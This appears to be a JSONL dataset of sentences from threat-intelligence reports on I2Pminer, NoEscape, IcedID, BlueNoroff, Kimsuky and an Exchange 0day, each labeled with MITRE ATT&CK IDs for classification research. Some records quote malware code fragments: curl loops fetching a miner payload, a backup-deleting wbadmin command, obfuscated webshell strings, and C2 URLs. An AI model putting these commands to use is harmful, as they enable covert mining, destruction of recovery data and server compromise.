malicious dropper contains a legitimate version of the software and executes it to give the illusion of a properly behaving application.", "labels": ["T1036.005"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The following analysis was performed on a binary that drops and executes a copy of Apple Logic Pro X (bfa9f7b8014efab4143fb2a77732257144f3b804ee757fb41c9971b715da53d7).", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "DMGs are a common delivery mechanism for both benign and malicious software.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The generated script is executed via a /bin/sh subprocess.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Then it creates a new folder structured for the bundle located at /tmp/._[a-zA-Z]{10}/Logic Pro X.app/Contents.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The dropper binary unpacks a customized Mach-O compiled from the open source i2pd (I2P Daemon) project.", "labels": ["T1027"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The I2P dropper script is written to disk at /tmp/._[a-zA-Z]{10}.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "This file is read and unarchived to the original file path of the I2P dropper script.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The script pads the resulting Mach-O with a random number of \\x00 bytes.", "labels": ["T1027"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The padded i2pd Mach-O file is executed via a call to exec -a \"/System/Library/Frameworks/CoreServices.framework/Frameworks/Metadata.framework/Versions/N/Support/mdworker_shared\" \"$0\" Note that $0 will resolve the first argument of the current process.", "labels": ["T1027"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "This is the file path of the I2P dropper script, which was replaced with the padded i2pd Mach-O file.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "It is a universal binary supporting both x86_64 and ARM architectures.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "In addition to running the I2P network stack, it also contains static configuration elements necessary for the operation of the XMRig miner.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "These tunnels are responsible for the localhost listeners on ports 4444 and 4445.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "These align with their usage by the XMRig downloader and miner.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The script then removes any files that conflict with its randomly generated paths.", "labels": ["T1070.004"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "During the first subloop, curl is used to download a MD5 hash from http://127.0.0[.]1:4445/updtmd.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The XMRig payload is then extracted from the download via tar, and the resulting Mach-O file is padded with a random number of \\x00 bytes.", "labels": ["T1027"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Port 4543 is the default listening port for XMRig’s API.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The binary does not need a command line miner config.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The XMRig implant will execute until the user logs off, shuts down their computer or opens Activity Monitor.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "If these spikes are noticed, the implant is also quick to kill itself and clean up its on-disk artifacts if it determines the user is investigating system resources via Activity Monitor.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The mining infrastructure is dropped, downloaded and deleted every time the dropper executes.", "labels": ["T1070.004"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "All three files are distributed within the Contents/MacOS directory in the application bundle.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "CrowdStrike’s proactive research targeted the behavior of this malware.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Files are deleted after use.", "labels": ["T1070.004"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Masquerading: Match Legitimate Name or Location (T1036.005)", "labels": ["T1036.005"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "../ {} \"$TMPDIR\" \\;)", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "= \"true\" ]; do while [ \"$finished\" !", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "= \"true\" ]; do curl --silent -o \"$d_md5\" \"http://127.0.0.1:4445/$MD5\"; [ -f \"$d_md5\" ] && finished=\"true\" && md2=$(cat \"$d_md5\") && rm -rf \"$d_md5\"; sleep 5; (pgrep -x 'Activity Monitor' > /dev/null) && ([ \"$I2PD_PID\" !", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "= \"true\" ]; do curl --silent -o \"$d_p\" \"http://127.0.0.1:4445/$PLD\"; [ -f \"$d_p\" ] && finished=\"true\" && md1=$(md5 -q \"$d_p\"); sleep 5; (pgrep -x 'Activity Monitor' > /dev/null) && ([ -f \"$d_p\" ] && rm -rf \"$d_p\";[ \"$I2PD_PID\" !", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Following that, EVIL RABBIT, a security researcher on Twitter with the handle @D4RKR4BB1T47, recently shared a tweet featuring a picture of the dashboard panel used by the NoEscape ransomware group.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "The affiliate website of NoEscape RaaS offers a range of executable building options, including EXE and DLL files for Windows 7 and above, reflective DLL injection for Windows 7 and above, executable files for Windows XP, and ELF executables for Linux/ESXi servers.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "The ransomware builder interface allows affiliates to configure various settings for building the ransomware executables.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "Figure 2 – NoEscape RaaS Executable Builder Page Screenshot (Source: EVIL RABBIT) Technical Details Windows Variant We have taken the below sample hash for the purposes of this analysis: (SHA256), 68ff9855262b7a9c27e349c5e3bf68b2fc9f9ca32a9d2b844f2265dccd2bc0d8, which is a GUI-based x32 bit executable written in Microsoft Visual C/C++ compiler.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "UAC BYPASS After creating the mutex, the ransomware modifies specific registry values to disable User Access Control (UAC), a security feature in Windows.", "labels": ["T1112", "T1548.002"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "EnableLUA By modifying the below registry value EnableLUA to “0”, malware aims to deactivate User Account Control (UAC) on the target system.", "labels": ["T1112", "T1548.002"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "The consent prompt serves to ask for confirmation or administrator credentials from the user before permitting the action to proceed.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "Figure 4 – List of Processes to Terminate Furthermore, the ransomware stops various active services on the system, including culserver, SQL, SQL Server, sophos, vmware-converter, VSS, and others.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "By utilizing these functions, the ransomware can employ robust encryption techniques to ensure that the victim’s files are securely locked and inaccessible without the decryption key.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "Class Registration Database, and system files.wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0This command also uses wbadmin to delete all versions of system state backups except the most recent one.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "It clears the trash before the ransomware starts encrypting files.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "This step is taken to ensure that any previously deleted files in the trash cannot be recovered by the victims.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "ExecPayload() –", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "It also deletes the ransomware, script file, and ransom note (index.html), ensuring that no evidence remains on the compromised system.", "labels": ["T1027"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "The below figure shows the code snippet “script_esxi.sh”.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "ScanNFS(): This function scans NFS (Network File System) volumes on an ESXi server.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "It retrieves the list of VM volumes using the esxcli command and then iterates over each volume to search for specific files related to virtual machines.", "labels": ["T1083"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "Figure 15- Ransom Note Conclusion NoEscape RaaS is a new ransomware group that aims to entice new affiliates with the promise of profits.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "As the group is relatively new, it is likely that they will evolve their tools and tactics to target multiple organizations.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "The attackers and access provider seemed to belong to different attack groups and spoke different languages.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"} {"sentence": "Wave 1 sample – messaging after failed execution Wave 2 sample – different messaging after failed execution The wave 2 ransomware sample continues execution and checks for the mutex Screenlimitsdevices#77!;, a value that differs from the wave 1 sample’s mutex:abcdefghijklmnoklmnopqrstuvwxyz01234567890abcdefghijklmnopqrstuvwxyz01234567890 Although we call this malware ransomware based on its behavior, the encrypted files are, in fact, unrecoverable.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"} {"sentence": "The driver wasn’t dropped by the wiper, and the threat actor likely dropped it using other means.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"} {"sentence": "Finally, for the most part, wave 1 and wave 2 wipers remained the same, including the reliance on the same authentication key to access the raw disk driver, and the use of the same DeviceControl API methods, but with one exception, as shown below.", "labels": ["T1106"], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"} {"sentence": "93 46 F5 DC C5 18 Nvidia certificate 01 FD D0 93", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"} {"sentence": "F6 50 87 F4 E9 AE 11 ED 65 0D 83 E8 Kuwait Telecommunications company certificate [1] Original, legitimate driver’s MD5 is 015caeec9148194054b5b1de64762a43", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"} {"sentence": "BlueNoroff group is a financially motivated threat actor eager to profit from its cyberattack capabilities.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "OPS", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "Upon launch, the malicious document connects to the remote server and downloads the payload.", "labels": ["T1105"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "Eventually, the fetched file is spawned with the following commands: Command #1:", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "This is a classic BlueNoroff strategy to persuade the victim to execute the malicious shortcut file to acquire the decoy document’s password.", "labels": ["T1204.002"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "Also, some of the other downloaders (MD5 f766f97eb213d81bf15c02d4681c50a4) have functionality that checks the working environment.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "Next, the malware creates a mutex to avoid duplicate execution.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "If Windows Defender or Bitdefender Antivirus is installed on the victim’s computer, the malware executes itself with the following commands: Windows Defender: cmd /c", "labels": ["T1059.003", "T1518.001"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "curl -A cur1-agent -L", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "Unfortunately, we don’t have the HTA script (Blockchain.pdf), but we can assume the functionality of the script based on our telemetry – showing the decoy document and fetching the next stage payload.", "labels": ["T1105"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "Upon execution, it creates a fake file (wae.txt) to show a password composed of the string ‘password’ and fetches a payload from the embedded URL and loads it.", "labels": ["T1105"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "The domain registration could be traced back to earlier in 2021, so this is an ongoing operation by the adversary.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "AS54290 perseus.bond avid.lno-prima.lol 104.168.249.50 Hostwinds LLC.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "Most of the companies are Japanese companies, indicating the actor has a keen interest in Japanese markets.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "This financially motivated threat actor has been attacking various cryptocurrency-related businesses lately, but also other financial companies, as in this case.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "Decoy document Conclusion According to a recent report, the BlueNoroff group stole cryptocurrency worth millions using their cyberattack capabilities.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "It shows that this group has a strong financial motivation and actually succeeds in making profits from their cyberattacks.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "Proofpoint calls the two new variants recently identified “Forked” and “Lite” IcedID.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Threat Actor Details Proofpoint has identified hundreds of IcedID campaigns from 2022 through 2023, and at least five threat actors were observed directly distributing this malware in campaigns since 2022.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Nearly all threat actors and unattributed threat activity clusters use the Standard IcedID variant.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "TA551 uses the Standard IcedID variant.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Below are examples of the Standard and Forked IcedID variants observed as first-stage payloads.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Standard IcedID Loader Configuration: C2:", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "The observed emails contained the subject \"How can i contact you?\" with an attachment name (regex): \"unpaid_[0-9]{4}-February-03\\.one\".", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "The IcedID loader connected to the C2 server and delivered and executed the IcedID core bot if specific conditions were met. IcedID Loader Configuration: C2: ehonlionetodo[.]com ProjectID: 3954321778 IcedID Bot configuration: { \"date\": \"03-06-2023\", \"family\": \"IcedID Core\", \"comms_cookie\": \"01\", \"project_id\": 3954321778, \"uri\": \"/news/\", \"c2s\": [ \"renomesolar[.]com\", \"palasedelareforma[.]com\", \"noosaerty[.]com\" ] This campaign is attributed to TA581, a threat actor that Proofpoint has been tracking since 2022, and officially designated a TA number in March 2023.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "The emails contained .URL", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Figure 11: Sample email using the motor vehicle safety lure.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Figure 13: URL (.url) attachment displayed in a text editor.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "The IcedID loader connected to the C2 server and delivered and executed the IcedID core bot if specific conditions were met. IcedID Loader Configuration: C2:", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "samoloangu[.]com project ID: 3971099397 IcedID Bot Configuration:", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Unlike the Standard IcedID Loader, there is no host information being exfiltrated within the request.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "The first four bytes of the decrypted buffer will contain the project identifier (ID) (a campaign identifier of sorts) and then a singular domain which is used to gate the download of the bot. Figure 18: Decryption of the config buffer in the Forked Loader.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "DLL Loader Analysis Field Standard DLL Loader Forked DLL Loader Extraneous code Contains code to decrypt strings and domains related to the “lite loader” File type Standard DLL COM Server Internal name init_dll_64.dll Init.dll Rough size 20KB 36KB The start of the DLL loader is the same across both versions of the DLL loader, a thread is created that contains the malicious code for custom loading license.dat: Figure 20: Start of the Standard DLL Loader.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "This function decrypts strings that originally just existed in the Lite Loader. Figure 22:", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "The rest of this report section focuses on the Forked DLL Loader, as that is where these differences exist.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "This is also around the time that Emotet dropped the IcedID Lite Loader onto the Epoch 4 and Epoch 5 botnet.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Most likely there should be a period before .dat.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Bot Analysis Field Standard Bot Forked Bot File format Custom PE Format Custom PE Format Rough size 368 KB 304 KB Removed code Removed web injects capability Versioning Currently at version 119 Currently at version 111 Looking at the Forked IcedID Bot variant and the Standard Bot variant in BinDiff, researchers observed that the Standard IcedID bot contains more functionality than the Forked variant.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Figure 26: Output of BinDiff showing the Standard Bot vs the Forked Bot.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Combining Hexray’s Lumina and BinDiff shows that the Standard Bot contains functionality relating to web injects, adversary in the middle (AiTM) and backconnect capabilities that do not exist within the Forked variant.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Lite Loader Anomaly", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Pivoting again to find files that reach to the URL, we come across the Lite Loader sample itself.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Looking at the build artifacts of this sample, it seems like the threat actors have removed the PDB path, but the Lite Loader still contains the build name “Loader.dll”.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Similarly, this IP address hosted an IcedID campaign from TA581 that occurred on 21 February 2023.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "ET Rules ET MALWARE Win32/IcedID Request Cookie ETPRO MALWARE Win32/IcedID Stage2 Checkin ETPRO MALWARE Win32/IcedID Stage2 CnC Activity ETPRO MALWARE Win32/IcedID Stage2 CnC Activity M2 (GET) Indicators of Compromise Indicator Type Description Date Observed ehonlionetodo[.]com C2 IcedID Loader February 2023 samoloangu[.]com C2 IcedID Loader February 20-23, 2023 sanoradesert[.]com C2 IcedID Bot February 20-23, 2023 steepenmount[.]com C2 IcedID Bot February 20-23, 2023 guidassembler[.]com C2 IcedID Bot February 20-23, 2023 renomesolar[.]com C2 IcedID Bot February 3, 2023 palasedelareforma[.]com C2 IcedID Bot February 3, 2023 noosaerty[.]com C2 IcedID Bot February 3, 2023 hxxp[://]helthbrotthersg[.]com/view[.]png URL HTA Payload URL February 3, 2023 hxxp[://]104[.]156[.]149[.]6/webdav/c2[.]dll URL Staging URL for Lite Loader February 22, 2023 hxxp[://]lepriconloots[.]com/botpackn1[.]dat URL Staging URL for the IcedID bot February 22, 2023 hxxp[://]94[.]131[.]11[.]141/webdav/Labels_FDA_toCheck[.]bat URL .URL", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "The social engineering tactics and some infrastructure characteristics closely relate to a Kimsuky activity privately reported by PwC and discussed in an NSA advisory published during the writing of this article.", "labels": [], "doc_title": "Kimsuky Strikes Again New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"} {"sentence": "The login form that is presented to the target is designed to capture entered credentials.", "labels": [], "doc_title": "Kimsuky Strikes Again New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"} {"sentence": "Reminder email The URL’s destination is manipulated through the spoofing technique of setting the href HTML property to direct to a website created by Kimsuky.", "labels": [], "doc_title": "Kimsuky Strikes Again New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"} {"sentence": "ReconShark exfiltrates information relevant for conducting subsequent precision attacks, such as deployed detection mechanisms and hardware information.", "labels": ["T1082"], "doc_title": "Kimsuky Strikes Again New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"} {"sentence": "When clicked, the Sign In button executes the loginAct JavaScript function, whereas the rest of the buttons do not conduct any activities.", "labels": [], "doc_title": "Kimsuky Strikes Again New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"} {"sentence": "Fake NK News login site The JavaScript code captures entered credentials by issuing an HTTP POST request to https[://]www.nknews[.]pro/ip/register/login[.]php and then redirects the user to the legitimate NK News site.", "labels": [], "doc_title": "Kimsuky Strikes Again New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"} {"sentence": "JavaScript code The main website hosted at https[://]www.nknews[.]pro redirects to the legitimate NK News site, https://nknews.org, and uses a certificate issued by Sectigo: Thumbprint: a1597d197e9b084a043ada5c7dac1f9b6d7f7af3", "labels": [], "doc_title": "Kimsuky Strikes Again New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"} {"sentence": "b374k login site Conclusion SentinelLabs remains actively engaged in monitoring the activities conducted by Kimsuky.", "labels": [], "doc_title": "Kimsuky Strikes Again New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"} {"sentence": "ReconShark: SHA1 hash", "labels": [], "doc_title": "Kimsuky Strikes Again New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"} {"sentence": "At the same time, Red Team experts started researching and debugging Exchange de-compiled code to find the vulnerability and exploit code.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "The vulnerability turns out to be so critical that it allows the attacker to do RCE on the compromised system.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "ZDI verified and acknowledged 2 bugs, whose CVSS scores are 8.8 and 6.3, concerning the exploit as follows.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "This looks familiar, right? -", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "Post-exploit activities After successfully mastering the exploit, we recorded attacks to collect information and create a foothold in the victim's system.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "Webshell", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "Encoding.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "FromBase64String('NTcyM'+'jk3O3'+'ZhciB'+'zYWZl'+''+'P'+'S'+char(837-763)+System.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "FromBase64String('MQ=='))+char(51450/525)+''+''+char(0640-0462)+char(0x8c28/0x1cc)+char(0212100/01250)+System.Text.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "In addition, the hacker also injects malicious DLLs into the memory, drops suspicious files on the attacked servers, and executes these files through WMIC.", "labels": ["T1047", "T1055", "T1105"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "If yes, call method i in class m to handle received request.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "Victim 1: https://*:443/ews/web/webconfig/ https://*:443/owa/auth/webcccsd/ https://*:444/ews/auto/ https://*:444/ews/web/api/ Victim 2: http://*:80/owa/auth/Current/script/ https://*:443/owa/auth/Current/script/ GTSC also detected that the DLL was injected into the memory of the svchost.exe process.", "labels": ["T1055"], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "In addition, we are also concerned that there may be many other organizations that have been exploited but have not been discovered.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "*“ to the URL Path: - Condition input: Choose {REQUEST_URI} We recommend all organizations/enterprises around the world that are using Microsoft Exchange Server to check, review, and apply the above temporary remedy as soon as possible to avoid potential serious damages.", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "File Name: pxh4HG1v.ashx Hash (SHA256): c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1 Path: C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\pxh4HG1v.ashx File Name: RedirSuiteServiceProxy.aspx Hash (SHA256): 65a002fe655dc1751add167cf00adf284c080ab2e97cd386881518d3a31d27f5 Path: C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\RedirSuiteServiceProxy.aspx File Name: RedirSuiteServiceProxy.aspx Hash (SHA256): b5038f1912e7253c7747d2f0fa5310ee8319288f818392298fd92009926268ca Path: C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\RedirSuiteServiceProxy.aspx File Name: Xml.ashx Hash (SHA256): c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1 Path: Xml.ashx Filename: errorEE.aspx SHA256: be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257 Path:", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\errorEE.aspx DLL:", "labels": [], "doc_title": "Warning New attack campaign utilized a new 0day RCE vulnerability on Microsoft Exchange Server"} {"sentence": "In a February 2023 blog post, Ahnlab described a new ransomware campaign affecting South Korean organizations which deployed a malware they dubbed “TZW” ransomware.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"} {"sentence": "The payloads are typically distributed via 7zip or traditional zip file archives.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"} {"sentence": "The pre-TZW GlobeImposter ransom notes follow the same template as the current TZW samples.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"} {"sentence": "Examples of CRYPTO LOCKER markers at EOF (TZW and LOLKEK variants).", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"} {"sentence": "Code and functionality, by and large, are identical across GlobeImposter payloads pointing to obzuqvr5424kkc4unbq2p2i67ny3zngce3tbdr37nicjqesgqcgomfqd[.] onion and those pointing to the newer tzw7ckhurmxgcpajx6gy57dkrysl2sigfrt6nk4a3rvedfldigtor7ad[.]onion.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"} {"sentence": "AhnLab’s research describes artifacts from a specific sample within a specific campaign.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"} {"sentence": "This Apache status screen is visible as a result of a misconfiguration on the Apache server, allowing us to see all the active vhosts (virtual hosts) present there.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"} {"sentence": "Ensuring good user hygiene, along with strong, properly-configured, and robust security controls will go a long way to prevent these attacks from affecting your environment.", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"} {"sentence": "File Deletion T1112 – Modify Registry T1012 – Query Registry T1083 – File and Directory Discovery T1027.002 – Obfuscated Files or Information: Software Packing T1082 – System Information Discovery T1490 – Inhibit System Recovery T1547.001 – Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder", "labels": [], "doc_title": "Recent TZW Campaigns Revealed As Part of GlobeImposter Malware Family"} {"sentence": "Microsoft shifts to a new threat actor naming taxonomy.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "Microsoft assesses that MERCURY likely worked in partnership with another actor that Microsoft tracks as DEV-1084, who carried out the destructive actions after MERCURY’s successful operations had gained access to the target environment.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "DEV-1084 was then later observed leveraging highly privileged compromised credentials to perform en masse destruction of resources, including server farms, virtual machines, storage accounts, and virtual networks, and send emails to internal and external recipients.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"} {"sentence": "As with any observed nation-state actor activity, Microsoft has directly notified targeted or compromised customers, providing them with important information needed to secure their environments.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid 